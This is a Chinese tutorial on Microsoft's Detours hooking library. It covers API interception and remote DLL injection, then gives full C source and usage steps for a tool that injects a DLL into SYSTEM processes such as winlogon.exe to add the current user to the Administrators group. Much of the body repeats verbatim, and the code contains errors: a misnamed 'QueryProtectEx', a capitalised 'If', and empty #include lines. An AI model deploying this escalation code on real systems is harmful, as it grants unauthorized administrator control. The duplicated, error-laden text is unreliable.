Detours Express源码(微软API HOOK库)

Detours是微软开发的一个函数库, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是： 拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。 为一个已在运行的进程创建一新线程，装入自己的代码并运行。 ---- 本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有“调试程序”的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员 （在NT4 SP3上）。 一． Detours的原理 ---- 1． WIN32进程的内存管理 ---- 总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点： ---- (1) 进程要执行的指令也放在虚存空间中 ---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序 ---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码 ---- 2． 拦截WIN32 API的原理 ---- Detours定义了三个概念： ---- (1) Target函数：要拦截的函数，通常为Windows的API。 ---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。 ---- (3) Detour 函数：用来替代Target函数的函数。 ---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下： 拦截前：Target _ Function： ；Target函数入口，以下为假想的常见的子程序入口代码 push ebp mov ebp, esp push eax push ebx Trampoline: ；以下是Target函数的继续部分 …… 拦截后： Target _ Function： jmp Detour_Function Trampoline: ；以下是Target函数的继续部分 …… Trampoline_Function: ; Trampoline函数入口, 开头的5个字节与Target函数相同 push ebp mov ebp, esp push eax push ebx ；跳回去继续执行Target函数 jmp Target_Function+5 ---- 3． 为一个已在运行的进程装入一个DLL ---- 以下是其步骤： ---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。 ---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。 ---- (3) 把ThreadFuction的二进制机器码写入这片虚存。 ---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。 二． Detours库函数的用法 ---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。 ---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) ---- 功能：从一DLL中找出一函数的入口地址 ---- 参数：pszModule是DLL名，pszFunction是函数名。 ---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址 ---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。 ---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name) ---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。 ---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour) ---- 功能：用Detour 函数拦截Target函数 ---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 ---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour) ---- 功能：恢复Target函数 ---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 ---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) ---- 功能：为一个已在运行的进程装入一个DLL ---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名 三． 程序实例 ---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。 ---- 先编写相应的DLL： /*admin.dll, 当进程装入时会把名为szAccountName 的用户加入到Administrators本地组。*/ #include #include #include #include /*以下创建一共享段实现进程间的数据通讯， szAccountName 是用户名，bPrepared说明 szAccountName是否已初始化。*/ #pragma data_seg(".MYSHARE") BOOL bPrepared=FALSE; wchar_t szAccountName[100]={0}; #pragma data_seg() #pragma comment(linker, "/SECTION:.MYSHARE,RWS") /*程序调用SetAccountName设置要加入到Administrators 本地组的用户名，并通知DllMain 已初始化szAccountName ， 以后被装入时可调用ElevatePriv */ __declspec(dllexport) VOID WINAPI SetAccountName(wchar_t *Name) { wcscpy(szAccountName,Name); bPrepared=TRUE; } /*把名为szAccountName的用户加入 到Administrators本地组*/ __declspec(dllexport) VOID WINAPI ElevatePriv() { LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=szAccountName; NetLocalGroupAddMembers(NULL,L"Administrators", 3,(LPBYTE)&account,1); } __declspec(dllexport) ULONG WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, PVOID lpReserved) { switch (dwReason) { case DLL_THREAD_ATTACH: if (bPrepared) ElevatePriv(); } return TRUE; } 程序如下： /*AddMeToAdministrators.exe 把当前用户加入到 Administrators本地组。使用方法为：（1） ---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/ #include #include #include #include #include extern VOID WINAPI SetAccountName(wchar_t *Name); /* GetCurrentUser得到自己的用户名称*/ void GetCurrentUser(wchar_t *szName) { HANDLE hProcess, hAccessToken; wchar_t InfoBuffer[1000],szAccountName[200], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = GetCurrentProcess(); OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken); GetTokenInformation(hAccessToken,TokenUser, InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); wcscpy(szName,szDomainName); wcscat(szName,L"\"); wcscat(szName,szAccountName); } /* EnablePrivilege启用自己的“调试程序”的用户权限*/ BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return((GetLastError() == ERROR_SUCCESS)); } int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR lpszCmdLine, int nCmdShow) { INT argc; WCHAR **argv; argv = CommandLineToArgvW(GetCommandLineW(), &argc); INT nProcessId = -1; if (argc!=2){ wprintf(L"usage %s pid", argv[0]); return 1; } nProcessId = _wtoi(argv[1]); printf("%d ",nProcessId); ---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/ if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){ printf("AdjustTokenPrivilege Fail %u ", (UINT)GetLastError()); return 1; } HANDLE gNewHandle = OpenProcess(PROCESS_ALL_ACCESS , TRUE, nProcessId); if (!gNewHandle){ printf("OpenProcess Fail %u ", (UINT)GetLastError()); return 1; } wchar_t szName[100]; GetCurrentUser(szName); SetAccountName(szName); If (!ContinueProcessWithDll(gNewHandle, L"c:\temp\admin.dll")) { printf("ContinueProcessWithDll failed %u", (UINT)GetLastError()); return 3; } return 0; } ---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。 四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。 ---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码 ---- 2． 拦截WIN32 API的原理 ---- Detours定义了三个概念： ---- (1) Target函数：要拦截的函数，通常为Windows的API。 ---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。 ---- (3) Detour 函数：用来替代Target函数的函数。 ---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下： 拦截前：Target _ Function： ；Target函数入口，以下为假想的常见的子程序入口代码 push ebp mov ebp, esp push eax push ebx Trampoline: ；以下是Target函数的继续部分 …… 拦截后： Target _ Function： jmp Detour_Function Trampoline: ；以下是Target函数的继续部分 …… Trampoline_Function: ; Trampoline函数入口, 开头的5个字节与Target函数相同 push ebp mov ebp, esp push eax push ebx ；跳回去继续执行Target函数 jmp Target_Function+5 ---- 3． 为一个已在运行的进程装入一个DLL ---- 以下是其步骤： ---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。 ---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。 ---- (3) 把ThreadFuction的二进制机器码写入这片虚存。 ---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。 二． Detours库函数的用法 ---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。 ---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) ---- 功能：从一DLL中找出一函数的入口地址 ---- 参数：pszModule是DLL名，pszFunction是函数名。 ---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址 ---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。 ---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name) ---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。 ---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour) ---- 功能：用Detour 函数拦截Target函数 ---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 ---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour) ---- 功能：恢复Target函数 ---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 ---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) ---- 功能：为一个已在运行的进程装入一个DLL ---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名 三． 程序实例 ---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。 ---- 先编写相应的DLL： /*admin.dll, 当进程装入时会把名为szAccountName 的用户加入到Administrators本地组。*/ #include #include #include #include /*以下创建一共享段实现进程间的数据通讯， szAccountName 是用户名，bPrepared说明 szAccountName是否已初始化。*/ #pragma data_seg(".MYSHARE") BOOL bPrepared=FALSE; wchar_t szAccountName[100]={0}; #pragma data_seg() #pragma comment(linker, "/SECTION:.MYSHARE,RWS") /*程序调用SetAccountName设置要加入到Administrators 本地组的用户名，并通知DllMain 已初始化szAccountName ， 以后被装入时可调用ElevatePriv */ __declspec(dllexport) VOID WINAPI SetAccountName(wchar_t *Name) { wcscpy(szAccountName,Name); bPrepared=TRUE; } /*把名为szAccountName的用户加入 到Administrators本地组*/ __declspec(dllexport) VOID WINAPI ElevatePriv() { LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=szAccountName; NetLocalGroupAddMembers(NULL,L"Administrators", 3,(LPBYTE)&account,1); } __declspec(dllexport) ULONG WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, PVOID lpReserved) { switch (dwReason) { case DLL_THREAD_ATTACH: if (bPrepared) ElevatePriv(); } return TRUE; } 程序如下： /*AddMeToAdministrators.exe 把当前用户加入到 Administrators本地组。使用方法为：（1） ---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/ #include #include #include #include #include extern VOID WINAPI SetAccountName(wchar_t *Name); /* GetCurrentUser得到自己的用户名称*/ void GetCurrentUser(wchar_t *szName) { HANDLE hProcess, hAccessToken; wchar_t InfoBuffer[1000],szAccountName[200], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = GetCurrentProcess(); OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken); GetTokenInformation(hAccessToken,TokenUser, InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); wcscpy(szName,szDomainName); wcscat(szName,L"\"); wcscat(szName,szAccountName); } /* EnablePrivilege启用自己的“调试程序”的用户权限*/ BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return((GetLastError() == ERROR_SUCCESS)); } int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR lpszCmdLine, int nCmdShow) { INT argc; WCHAR **argv; argv = CommandLineToArgvW(GetCommandLineW(), &argc); INT nProcessId = -1; if (argc!=2){ wprintf(L"usage %s pid", argv[0]); return 1; } nProcessId = _wtoi(argv[1]); printf("%d ",nProcessId); ---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/ if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){ printf("AdjustTokenPrivilege Fail %u ", (UINT)GetLastError()); return 1; } HANDLE gNewHandle = OpenProcess(PROCESS_ALL_ACCESS , TRUE, nProcessId); if (!gNewHandle){ printf("OpenProcess Fail %u ", (UINT)GetLastError()); return 1; } wchar_t szName[100]; GetCurrentUser(szName); SetAccountName(szName); If (!ContinueProcessWithDll(gNewHandle, L"c:\temp\admin.dll")) { printf("ContinueProcessWithDll failed %u", (UINT)GetLastError()); return 3; } return 0; } ---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。 四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。